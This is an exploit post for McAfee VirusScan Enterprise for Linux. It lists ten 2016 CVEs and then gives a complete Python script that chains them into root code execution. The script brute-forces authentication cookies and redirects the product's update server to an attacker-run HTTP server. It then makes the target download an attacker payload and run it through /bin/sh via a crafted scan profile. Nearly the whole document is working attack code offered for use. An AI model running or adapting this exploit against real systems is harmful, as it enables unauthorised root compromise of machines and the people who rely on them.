McAfee Virus Scan Enterprise For Linux Remote Code Execution

`Source: https://nation.state.actor/mcafee.html  
  
Vulnerabilities  
  
CVE-2016-8016: Remote Unauthenticated File Existence Test  
CVE-2016-8017: Remote Unauthenticated File Read (with Constraints)  
CVE-2016-8018: No Cross-Site Request Forgery Tokens  
CVE-2016-8019: Cross Site Scripting  
CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation  
CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location  
CVE-2016-8022: Remote Use of Authentication Tokens  
CVE-2016-8023: Brute Force Authentication Tokens  
CVE-2016-8024: HTTP Response Splitting  
CVE-2016-8025: Authenticated SQL Injection  
When chaned together, these vulnerabilities allow a remote attacker to execute code as root.  
'''  
#!/bin/python3  
import time  
import requests  
import os  
import sys  
import re  
import threading  
import subprocess  
from http.server import BaseHTTPRequestHandler, HTTPServer  
from socketserver import ThreadingMixIn  
  
# Per-target configuration  
target_domain="https://10.0.1.130" # https://target_ip  
local_ip = '10.0.1.128' # Attacker IP for victim to connect back to  
authorized_ip="127.0.0.1" # IP address cookie will be valid for  
update_server_port = 8080 # Port update server listens on  
delay_seconds = 10 # How long should the server take to serve the update  
target_port = 55443 # Port to target  
  
# Put payload script in payload.sh  
  
# Initialization  
payload_in_place = threading.Event()  
requests.packages.urllib3.disable_warnings()  
with open("payload.sh", "r") as f:  
payload = f.read()  
  
def pprint(inp, flag=False):  
pad = "#"  
if flag:  
pad = "*"  
print("\n" + pad+ " " + inp)  
  
  
def crack_cookie():  
pprint("Cracking Cookie")  
  
# A page that requires authentication  
url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"  
  
# Start at the current time + 100 in case of recent login with clock skew  
date_val = int(time.time()+100)  
cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20  
  
# Make requests, print after every 600  
while True:  
cookie = cookie_fmt % date_val  
req_cookie = {"nailsSessionId": cookie}  
r = requests.get(url, cookies=req_cookie, verify=False)  
r.raise_for_status()  
  
if "Set-Cookie" in r.headers:  
valid_cookie = cookie  
timestamp = cookie.split("/")[3].split("-")[0]  
break  
  
elif date_val % 600 == 0:  
print("Now trying %s" % time.asctime(time.localtime(date_val)))  
  
date_val -= 1  
  
pprint("Cookie Cracked: " + timestamp, True)  
return valid_cookie  
  
  
def update_update_server(auth_cookie):  
pprint("Updating update server")  
  
# Replace McAfeeHttp update server with attacker local_ip:update_server_port  
url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \  
"repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \  
"xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \  
"%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \  
"3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \  
"520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \  
"me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \  
"Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \  
+ "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \  
"253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \  
"%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \  
"eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \  
"%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \  
"seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \  
"ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \  
"2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \  
"+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \  
"posProperty=fallback&useOfProxy=on"  
  
r = requests.get(url, cookies=auth_cookie, verify=False)  
r.raise_for_status()  
pprint("Updated update server", True)  
  
def download_update(req_cookie):  
pprint("Requesting target download payload")  
  
# Send request to make target download payload  
url = target_domain + ":" + str(target_port) + "/0409/nails"  
  
updateName = "update_%d" % int(time.time())  
postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \  
"le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \  
"3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \  
"taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \  
"ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \  
"_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \  
"fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" \  
"%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" \  
"Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName)  
  
headers = {'Content-Type': 'application/x-www-form-urlencoded'}  
r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)  
r.raise_for_status()  
  
pprint("Payload download requested", 1)  
  
  
def exec_catalogz(req_cookie):  
pprint("Making target execute payload")  
  
#### Get commit_id and ODS_name  
url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" \  
".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" \  
"o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" \  
"DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" \  
",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" \  
"lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction"  
  
r = requests.get(url, cookies=req_cookie, verify=False)  
r.raise_for_status()  
  
regex = re.search("\|digest=(.+?)\|", r.text)  
if not regex:  
print("\nERROR: Could not get commit_id when generating evil scan\n")  
return False  
  
commit_id = regex.groups(1)[0]  
  
# Send request to start evil scan  
payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z"  
binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x  
  
url = target_domain + ":" + str(target_port) + "/0409/nails"  
  
ODS_name = "ODS_1" # This may need to be increased if the name already exists  
scan_name = "scan_%s" % str(int(time.time()))  
  
postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" \  
"multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" \  
"ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" \  
"InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" \  
".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" \  
"Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" \  
"eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" \  
"nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" \  
"ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" \  
"nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" \  
"antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" \  
"}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" \  
"00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" \  
"canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" \  
"%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" \  
"ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" \  
"1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" \  
".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" \  
"xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" \  
"ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" \  
".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" \  
"on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" \  
"taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" \  
"e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" \  
"taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" \  
"_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" \  
"gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" \  
"et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" \  
"i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" \  
"=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" \  
"=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path)  
  
headers = {'Content-Type': 'application/x-www-form-urlencoded'}  
r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)  
r.raise_for_status()  
  
pprint("Payload executed", 1)  
  
def start_update_server():  
  
class RequestHandler(BaseHTTPRequestHandler):  
def do_HEAD(s):  
s.send_response(200)  
s.send_header("Content-type", "text/html")  
s.end_headers()  
  
def do_GET(s):  
if s.path == "/catalog.z":  
s.send_response(200)  
s.send_header("Content-type", "text/html")  
s.end_headers()  
s.wfile.write(bytes(payload, "utf-8"))  
  
pprint("Payload placed", 1)  
  
payload_in_place.set()  
  
# Die after sending payload so we send an incomplete response  
raise KillServer  
  
else: # Assume all other requests are for SiteStat - Always increasing version  
s.send_response(200)  
s.send_header("Content-type", "text/xml")  
s.end_headers()  
s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" \  
"""<SiteStatus Status="Enabled" CatalogVersion="2%d">""" \  
""" </SiteStatus>""") % int(time.time()), "utf-8"))  
  
# Throwing KillServer will shutdown the server ungracefully  
class KillServer(Exception):  
def __str__(self):  
return "Kill Server (not an error)"  
  
# ThreadingMixIn plus support for KillServer exceptions  
class AbortableThreadingMixIn(ThreadingMixIn):  
def process_request_thread(self, request, client_address):  
try:  
self.finish_request(request, client_address)  
self.shutdown_request(request)  
except KillServer:  
pprint("Killing update server dirtily")  
self.shutdown_request(request)  
self.shutdown() # Only if we want to shutdown  
except:  
self.handle_error(request, client_address)  
self.shutdown_request(request)  
  
  
class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer):  
pass  
  
pprint("Launching update server")  
  
srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler)  
threading.Thread(target=srv.serve_forever).start()  
  
pprint("Update server started", 1)  
return srv  
  
  
####################################################################################  
####################################################################################  
  
pprint("Attacking %s" % target_domain, 1)  
  
# Crack the auth cookie  
cookie = crack_cookie()  
auth_cookie = {"nailsSessionId": cookie}  
  
# Start our update server locally  
srv = start_update_server()  
  
# Force target to use our update server  
update_update_server(auth_cookie)  
  
# Make target download an update from us  
download_update(auth_cookie)  
  
# Block until the target downloads our payload,  
payload_in_place.wait()  
  
# Shutdown our update server  
srv.shutdown()  
  
# Execute /bin/sh -(?) catalog.z  
exec_catalogz(auth_cookie)  
  
`